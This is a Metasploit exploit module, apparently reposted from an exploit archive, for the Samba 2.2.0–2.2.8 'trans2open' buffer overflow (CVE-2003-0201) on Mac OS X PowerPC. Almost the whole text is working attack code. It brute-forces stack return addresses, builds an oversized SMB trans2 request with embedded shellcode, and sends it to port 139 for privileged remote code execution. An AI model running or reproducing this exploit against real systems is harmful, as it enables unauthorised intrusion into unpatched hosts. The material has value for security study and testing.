Samba 2.2.8 (OSX/PPC) – ‘trans2open’ Remote Overflow (Metasploit)
## # $Id: trans2open.rb 9571 2010-06-21 16:53:52Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba trans2open Overflow (Mac OS X PPC)', 'Description' => %q{ This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the bug on Mac OS X PowerPC systems. }, 'Author' => [ 'hdm', 'jduck' ], 'Version' => '$Revision: 9571 $', 'References' => [ [ 'CVE', '2003-0201' ], [ 'OSVDB', '4469' ], [ 'BID', '7294' ], [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ] ], 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'MinNops' => 512, }, 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Targets' => [ [ 'Samba 2.2.x - Bruteforce', { # Not necessary on PPC # 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack 'Offset' => 1195, 'Bruteforce' => { 'Start' => { 'Ret' => 0xbffffdfc }, 'Stop' => { 'Ret' => 0xbfa00000 }, 'Step' => 512 } } ] ], 'DisclosureDate' => 'Apr 7 2003', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(139) ], self.class) end # Need to perform target detection def autofilter false end def brute_exploit(addrs) curr_ret = addrs['Ret'] begin print_status("Trying return address 0x%.8x..." % curr_ret) connect smb_login # 1988 is required for findrecv shellcode pattern = rand_text_english(1988) # This stream covers the framepointer and the return address off = target['Offset'] pattern[off, 64] = [curr_ret].pack('N') * 16 # Stuff the shellcode into the request pattern[3, payload.encoded.length] = payload.encoded trans = "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+ "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+ pattern sock.put(trans) handler disconnect rescue EOFError rescue => e print_error("#{e}") end end end |